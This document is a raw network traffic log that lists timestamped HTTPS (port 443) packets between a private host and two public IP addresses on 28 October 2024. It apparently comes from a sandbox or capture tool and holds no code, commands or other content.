Oct 28, 2024 19:12:51.780951977 CET	443	59205	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:51.792494059 CET	59208	443	192.168.2.4	162.159.61.3
Oct 28, 2024 19:12:51.792582989 CET	443	59208	162.159.61.3	192.168.2.4
Oct 28, 2024 19:12:51.793047905 CET	59208	443	192.168.2.4	162.159.61.3
Oct 28, 2024 19:12:51.796277046 CET	59209	443	192.168.2.4	162.159.61.3
Oct 28, 2024 19:12:51.796304941 CET	443	59209	162.159.61.3	192.168.2.4
Oct 28, 2024 19:12:51.796356916 CET	59209	443	192.168.2.4	162.159.61.3
Oct 28, 2024 19:12:51.804182053 CET	59208	443	192.168.2.4	162.159.61.3
Oct 28, 2024 19:12:51.804222107 CET	443	59208	162.159.61.3	192.168.2.4
Oct 28, 2024 19:12:51.808011055 CET	59209	443	192.168.2.4	162.159.61.3
Oct 28, 2024 19:12:51.808027029 CET	443	59209	162.159.61.3	192.168.2.4
Oct 28, 2024 19:12:51.812251091 CET	59210	443	192.168.2.4	162.159.61.3
Oct 28, 2024 19:12:51.812263012 CET	443	59210	162.159.61.3	192.168.2.4
Oct 28, 2024 19:12:51.812314034 CET	59210	443	192.168.2.4	162.159.61.3
Oct 28, 2024 19:12:51.817337990 CET	59210	443	192.168.2.4	162.159.61.3
Oct 28, 2024 19:12:51.817348003 CET	443	59210	162.159.61.3	192.168.2.4
Oct 28, 2024 19:12:51.822504997 CET	59204	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:51.953356028 CET	59205	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:51.953371048 CET	443	59205	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:51.953687906 CET	59203	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:51.953722000 CET	443	59203	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:51.954088926 CET	59203	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:51.954102993 CET	443	59203	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:51.954231024 CET	59205	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:51.954236984 CET	443	59205	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:51.954433918 CET	59206	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:51.954459906 CET	443	59206	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:51.954488039 CET	59204	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:51.954495907 CET	443	59204	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:51.954936981 CET	59204	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:51.954943895 CET	443	59204	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:51.955071926 CET	59206	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:51.955079079 CET	443	59206	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:52.033513069 CET	443	59207	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:52.033889055 CET	59207	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:52.033900023 CET	443	59207	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:52.034323931 CET	59207	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:52.034327984 CET	443	59207	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:52.089972019 CET	443	59206	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:52.090106010 CET	443	59203	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:52.090192080 CET	443	59206	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:52.090274096 CET	59206	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:52.090321064 CET	59206	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:52.090321064 CET	59206	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:52.090346098 CET	443	59206	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:52.090358973 CET	443	59206	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:52.090419054 CET	443	59203	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:52.090487003 CET	59203	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:52.090537071 CET	59203	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:52.090537071 CET	59203	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:52.090569019 CET	443	59203	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:52.090588093 CET	443	59203	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:52.090996981 CET	443	59205	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:52.091190100 CET	443	59205	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:52.091290951 CET	59205	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:52.091842890 CET	59205	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:52.091865063 CET	443	59205	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:52.091896057 CET	59205	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:52.091902971 CET	443	59205	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:52.093245029 CET	443	59204	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:52.093374968 CET	443	59204	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:52.093429089 CET	59204	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:52.094243050 CET	59211	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:52.094268084 CET	443	59211	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:52.094333887 CET	59211	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:52.094768047 CET	59212	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:52.094794989 CET	443	59212	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:52.094865084 CET	59212	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:52.095082045 CET	59204	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:52.095092058 CET	443	59204	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:52.095102072 CET	59204	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:52.095107079 CET	443	59204	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:52.095434904 CET	59213	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:52.095473051 CET	443	59213	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:52.095557928 CET	59213	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:52.095568895 CET	59212	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:52.095585108 CET	443	59212	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:52.095701933 CET	59213	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:52.095715046 CET	443	59213	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:52.096021891 CET	59211	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:52.096034050 CET	443	59211	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:52.097239971 CET	59214	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:52.097248077 CET	443	59214	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:52.097460032 CET	59214	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:52.097553968 CET	59214	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:52.097565889 CET	443	59214	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:52.171864986 CET	443	59207	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:52.171963930 CET	443	59207	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:52.172019958 CET	59207	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:52.172125101 CET	59207	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:52.172143936 CET	443	59207	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:52.172159910 CET	59207	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:52.172167063 CET	443	59207	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:52.174305916 CET	59215	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:52.174361944 CET	443	59215	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:52.174441099 CET	59215	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:52.174551964 CET	59215	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:52.174583912 CET	443	59215	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:52.417664051 CET	443	59209	162.159.61.3	192.168.2.4
Oct 28, 2024 19:12:52.418042898 CET	59209	443	192.168.2.4	162.159.61.3
Oct 28, 2024 19:12:52.418059111 CET	443	59209	162.159.61.3	192.168.2.4
Oct 28, 2024 19:12:52.419476986 CET	443	59209	162.159.61.3	192.168.2.4
Oct 28, 2024 19:12:52.419538021 CET	59209	443	192.168.2.4	162.159.61.3
Oct 28, 2024 19:12:52.420486927 CET	59209	443	192.168.2.4	162.159.61.3
Oct 28, 2024 19:12:52.420696974 CET	443	59209	162.159.61.3	192.168.2.4
Oct 28, 2024 19:12:52.420938015 CET	443	59208	162.159.61.3	192.168.2.4
Oct 28, 2024 19:12:52.421092987 CET	59209	443	192.168.2.4	162.159.61.3
Oct 28, 2024 19:12:52.421099901 CET	443	59209	162.159.61.3	192.168.2.4
Oct 28, 2024 19:12:52.421226978 CET	59208	443	192.168.2.4	162.159.61.3
Oct 28, 2024 19:12:52.421255112 CET	443	59208	162.159.61.3	192.168.2.4
Oct 28, 2024 19:12:52.421406031 CET	443	59210	162.159.61.3	192.168.2.4
Oct 28, 2024 19:12:52.421582937 CET	59210	443	192.168.2.4	162.159.61.3
Oct 28, 2024 19:12:52.421591997 CET	443	59210	162.159.61.3	192.168.2.4
Oct 28, 2024 19:12:52.423036098 CET	443	59210	162.159.61.3	192.168.2.4
Oct 28, 2024 19:12:52.423093081 CET	59210	443	192.168.2.4	162.159.61.3
Oct 28, 2024 19:12:52.423938990 CET	59210	443	192.168.2.4	162.159.61.3
Oct 28, 2024 19:12:52.424017906 CET	443	59210	162.159.61.3	192.168.2.4
Oct 28, 2024 19:12:52.424052954 CET	59210	443	192.168.2.4	162.159.61.3
Oct 28, 2024 19:12:52.425951004 CET	443	59208	162.159.61.3	192.168.2.4
Oct 28, 2024 19:12:52.426022053 CET	59208	443	192.168.2.4	162.159.61.3
Oct 28, 2024 19:12:52.426748991 CET	59208	443	192.168.2.4	162.159.61.3
Oct 28, 2024 19:12:52.426925898 CET	59208	443	192.168.2.4	162.159.61.3
Oct 28, 2024 19:12:52.426954985 CET	443	59208	162.159.61.3	192.168.2.4
Oct 28, 2024 19:12:52.463542938 CET	59216	443	192.168.2.4	162.159.61.3
Oct 28, 2024 19:12:52.463562965 CET	443	59216	162.159.61.3	192.168.2.4
Oct 28, 2024 19:12:52.463661909 CET	59216	443	192.168.2.4	162.159.61.3
Oct 28, 2024 19:12:52.463968039 CET	59217	443	192.168.2.4	162.159.61.3
Oct 28, 2024 19:12:52.463995934 CET	443	59217	162.159.61.3	192.168.2.4
Oct 28, 2024 19:12:52.464068890 CET	59217	443	192.168.2.4	162.159.61.3
Oct 28, 2024 19:12:52.464158058 CET	59216	443	192.168.2.4	162.159.61.3
Oct 28, 2024 19:12:52.464168072 CET	443	59216	162.159.61.3	192.168.2.4
Oct 28, 2024 19:12:52.464240074 CET	59217	443	192.168.2.4	162.159.61.3
Oct 28, 2024 19:12:52.464253902 CET	443	59217	162.159.61.3	192.168.2.4
Oct 28, 2024 19:12:52.467334032 CET	443	59210	162.159.61.3	192.168.2.4
Oct 28, 2024 19:12:52.478744984 CET	59208	443	192.168.2.4	162.159.61.3
Oct 28, 2024 19:12:52.478754044 CET	443	59208	162.159.61.3	192.168.2.4
Oct 28, 2024 19:12:52.494708061 CET	59218	443	192.168.2.4	162.159.61.3
Oct 28, 2024 19:12:52.494720936 CET	443	59218	162.159.61.3	192.168.2.4
Oct 28, 2024 19:12:52.494844913 CET	59218	443	192.168.2.4	162.159.61.3
Oct 28, 2024 19:12:52.495021105 CET	59218	443	192.168.2.4	162.159.61.3
Oct 28, 2024 19:12:52.495033026 CET	443	59218	162.159.61.3	192.168.2.4
Oct 28, 2024 19:12:52.513286114 CET	59209	443	192.168.2.4	162.159.61.3
Oct 28, 2024 19:12:52.513468027 CET	59210	443	192.168.2.4	162.159.61.3
Oct 28, 2024 19:12:52.513477087 CET	443	59210	162.159.61.3	192.168.2.4
Oct 28, 2024 19:12:52.525631905 CET	59208	443	192.168.2.4	162.159.61.3
Oct 28, 2024 19:12:52.551721096 CET	443	59209	162.159.61.3	192.168.2.4
Oct 28, 2024 19:12:52.551884890 CET	443	59209	162.159.61.3	192.168.2.4
Oct 28, 2024 19:12:52.551939011 CET	59209	443	192.168.2.4	162.159.61.3
Oct 28, 2024 19:12:52.552131891 CET	59209	443	192.168.2.4	162.159.61.3
Oct 28, 2024 19:12:52.552140951 CET	443	59209	162.159.61.3	192.168.2.4
Oct 28, 2024 19:12:52.553936958 CET	443	59210	162.159.61.3	192.168.2.4
Oct 28, 2024 19:12:52.553985119 CET	59210	443	192.168.2.4	162.159.61.3
Oct 28, 2024 19:12:52.554109097 CET	59210	443	192.168.2.4	162.159.61.3
Oct 28, 2024 19:12:52.554120064 CET	443	59210	162.159.61.3	192.168.2.4
Oct 28, 2024 19:12:52.562442064 CET	443	59208	162.159.61.3	192.168.2.4
Oct 28, 2024 19:12:52.562534094 CET	443	59208	162.159.61.3	192.168.2.4
Oct 28, 2024 19:12:52.562587023 CET	59208	443	192.168.2.4	162.159.61.3
Oct 28, 2024 19:12:52.562695980 CET	59208	443	192.168.2.4	162.159.61.3
Oct 28, 2024 19:12:52.562702894 CET	443	59208	162.159.61.3	192.168.2.4
Oct 28, 2024 19:12:52.853663921 CET	443	59213	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:52.854263067 CET	59213	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:52.854316950 CET	443	59213	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:52.854720116 CET	59213	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:52.854737043 CET	443	59213	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:52.911209106 CET	443	59211	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:52.911885023 CET	59211	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:52.911897898 CET	443	59211	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:52.912383080 CET	59211	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:52.912393093 CET	443	59211	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:52.916440964 CET	443	59214	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:52.916824102 CET	59214	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:52.916837931 CET	443	59214	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:52.917159081 CET	59214	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:52.917162895 CET	443	59214	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:52.917579889 CET	443	59212	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:52.917876959 CET	59212	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:52.917890072 CET	443	59212	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:52.918262005 CET	59212	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:52.918267012 CET	443	59212	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:52.951523066 CET	443	59215	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:52.951845884 CET	59215	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:52.951869965 CET	443	59215	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:52.952212095 CET	59215	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:52.952224016 CET	443	59215	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:52.992366076 CET	443	59213	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:52.992440939 CET	443	59213	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:52.992481947 CET	443	59213	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:52.992496967 CET	59213	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:52.992531061 CET	59213	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:52.992683887 CET	59213	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:52.992683887 CET	59213	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:52.992713928 CET	443	59213	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:52.992741108 CET	443	59213	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:52.995590925 CET	59219	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:52.995635986 CET	443	59219	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:52.995699883 CET	59219	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:52.995853901 CET	59219	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:52.995870113 CET	443	59219	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:53.052498102 CET	443	59211	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:53.052609921 CET	443	59211	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:53.052701950 CET	59211	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:53.052711964 CET	443	59211	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:53.052748919 CET	443	59211	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:53.052803993 CET	59211	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:53.052845001 CET	59211	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:53.052856922 CET	443	59211	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:53.052865028 CET	59211	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:53.052869081 CET	443	59211	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:53.054963112 CET	59220	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:53.055003881 CET	443	59220	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:53.055154085 CET	59220	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:53.055277109 CET	59220	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:53.055305004 CET	443	59220	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:53.058768034 CET	443	59214	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:53.059422970 CET	443	59214	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:53.059478045 CET	59214	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:53.059545040 CET	59214	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:53.059554100 CET	443	59214	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:53.059571028 CET	59214	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:53.059575081 CET	443	59214	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:53.061541080 CET	59221	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:53.061556101 CET	443	59221	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:53.061605930 CET	59221	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:53.061738014 CET	59221	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:53.061748981 CET	443	59221	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:53.062177896 CET	443	59212	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:53.062328100 CET	443	59212	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:53.062429905 CET	59212	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:53.062453032 CET	59212	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:53.062457085 CET	443	59212	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:53.062467098 CET	59212	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:53.062469006 CET	443	59212	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:53.063805103 CET	443	59216	162.159.61.3	192.168.2.4
Oct 28, 2024 19:12:53.064042091 CET	59216	443	192.168.2.4	162.159.61.3
Oct 28, 2024 19:12:53.064049959 CET	443	59216	162.159.61.3	192.168.2.4
Oct 28, 2024 19:12:53.064331055 CET	59222	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:53.064357042 CET	443	59222	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:53.064399004 CET	443	59216	162.159.61.3	192.168.2.4
Oct 28, 2024 19:12:53.064428091 CET	59222	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:53.064621925 CET	59222	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:53.064646959 CET	443	59222	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:53.064706087 CET	59216	443	192.168.2.4	162.159.61.3
Oct 28, 2024 19:12:53.064785957 CET	443	59216	162.159.61.3	192.168.2.4
Oct 28, 2024 19:12:53.064850092 CET	59216	443	192.168.2.4	162.159.61.3
Oct 28, 2024 19:12:53.072483063 CET	443	59217	162.159.61.3	192.168.2.4
Oct 28, 2024 19:12:53.072779894 CET	59217	443	192.168.2.4	162.159.61.3
Oct 28, 2024 19:12:53.072789907 CET	443	59217	162.159.61.3	192.168.2.4
Oct 28, 2024 19:12:53.073236942 CET	443	59217	162.159.61.3	192.168.2.4
Oct 28, 2024 19:12:53.073508024 CET	59217	443	192.168.2.4	162.159.61.3
Oct 28, 2024 19:12:53.073586941 CET	443	59217	162.159.61.3	192.168.2.4
Oct 28, 2024 19:12:53.073599100 CET	59217	443	192.168.2.4	162.159.61.3
Oct 28, 2024 19:12:53.094171047 CET	443	59215	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:53.094260931 CET	443	59215	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:53.094295979 CET	443	59215	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:53.094306946 CET	59215	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:53.094353914 CET	59215	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:53.094480038 CET	59215	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:53.094480991 CET	59215	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:53.094513893 CET	443	59215	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:53.094532967 CET	443	59215	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:53.096539974 CET	59223	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:53.096551895 CET	443	59223	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:53.096612930 CET	59223	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:53.096736908 CET	59223	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:53.096749067 CET	443	59223	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:53.107326984 CET	443	59216	162.159.61.3	192.168.2.4
Oct 28, 2024 19:12:53.115329981 CET	443	59217	162.159.61.3	192.168.2.4
Oct 28, 2024 19:12:53.119369984 CET	59217	443	192.168.2.4	162.159.61.3
Oct 28, 2024 19:12:53.158107996 CET	443	59218	162.159.61.3	192.168.2.4
Oct 28, 2024 19:12:53.158313036 CET	59218	443	192.168.2.4	162.159.61.3
Oct 28, 2024 19:12:53.158324003 CET	443	59218	162.159.61.3	192.168.2.4
Oct 28, 2024 19:12:53.159490108 CET	443	59218	162.159.61.3	192.168.2.4
Oct 28, 2024 19:12:53.159836054 CET	59218	443	192.168.2.4	162.159.61.3
Oct 28, 2024 19:12:53.159934998 CET	59218	443	192.168.2.4	162.159.61.3
Oct 28, 2024 19:12:53.160011053 CET	443	59218	162.159.61.3	192.168.2.4
Oct 28, 2024 19:12:53.194840908 CET	443	59216	162.159.61.3	192.168.2.4
Oct 28, 2024 19:12:53.194892883 CET	443	59216	162.159.61.3	192.168.2.4
Oct 28, 2024 19:12:53.194937944 CET	59216	443	192.168.2.4	162.159.61.3
Oct 28, 2024 19:12:53.195096970 CET	59216	443	192.168.2.4	162.159.61.3
Oct 28, 2024 19:12:53.195102930 CET	443	59216	162.159.61.3	192.168.2.4
Oct 28, 2024 19:12:53.206023932 CET	443	59217	162.159.61.3	192.168.2.4
Oct 28, 2024 19:12:53.206091881 CET	443	59217	162.159.61.3	192.168.2.4
Oct 28, 2024 19:12:53.206199884 CET	59217	443	192.168.2.4	162.159.61.3
Oct 28, 2024 19:12:53.206278086 CET	59217	443	192.168.2.4	162.159.61.3
Oct 28, 2024 19:12:53.206290007 CET	443	59217	162.159.61.3	192.168.2.4
Oct 28, 2024 19:12:53.213120937 CET	59218	443	192.168.2.4	162.159.61.3
Oct 28, 2024 19:12:53.296798944 CET	443	59218	162.159.61.3	192.168.2.4
Oct 28, 2024 19:12:53.296945095 CET	443	59218	162.159.61.3	192.168.2.4
Oct 28, 2024 19:12:53.297161102 CET	59218	443	192.168.2.4	162.159.61.3
Oct 28, 2024 19:12:53.297400951 CET	59218	443	192.168.2.4	162.159.61.3
Oct 28, 2024 19:12:53.297405958 CET	443	59218	162.159.61.3	192.168.2.4
Oct 28, 2024 19:12:53.783253908 CET	443	59219	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:53.784212112 CET	59219	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:53.784240961 CET	443	59219	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:53.784761906 CET	59219	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:53.784765959 CET	443	59219	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:53.810820103 CET	443	59221	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:53.811471939 CET	59221	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:53.811486006 CET	443	59221	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:53.811882019 CET	59221	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:53.811886072 CET	443	59221	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:53.831873894 CET	443	59222	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:53.832434893 CET	59222	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:53.832464933 CET	443	59222	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:53.832760096 CET	59222	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:53.832767010 CET	443	59222	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:53.835599899 CET	443	59220	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:53.836010933 CET	59220	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:53.836039066 CET	443	59220	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:53.836448908 CET	59220	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:53.836456060 CET	443	59220	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:53.846086979 CET	443	59223	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:53.846524000 CET	59223	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:53.846530914 CET	443	59223	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:53.850929976 CET	59223	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:53.850933075 CET	443	59223	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:53.925422907 CET	443	59219	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:53.925625086 CET	443	59219	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:53.925854921 CET	59219	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:53.926556110 CET	59219	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:53.926556110 CET	59219	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:53.926598072 CET	443	59219	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:53.926623106 CET	443	59219	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:53.933309078 CET	59224	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:53.933394909 CET	443	59224	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:53.934040070 CET	59224	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:53.944614887 CET	59224	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:53.944652081 CET	443	59224	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:53.948477983 CET	443	59221	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:53.948546886 CET	443	59221	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:53.948957920 CET	59221	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:53.948957920 CET	59221	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:53.949054956 CET	59221	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:53.949063063 CET	443	59221	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:53.952609062 CET	59225	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:53.952651024 CET	443	59225	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:53.952801943 CET	59225	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:53.952872992 CET	59225	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:53.952891111 CET	443	59225	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:53.970925093 CET	443	59222	13.107.253.45	192.168.2.4
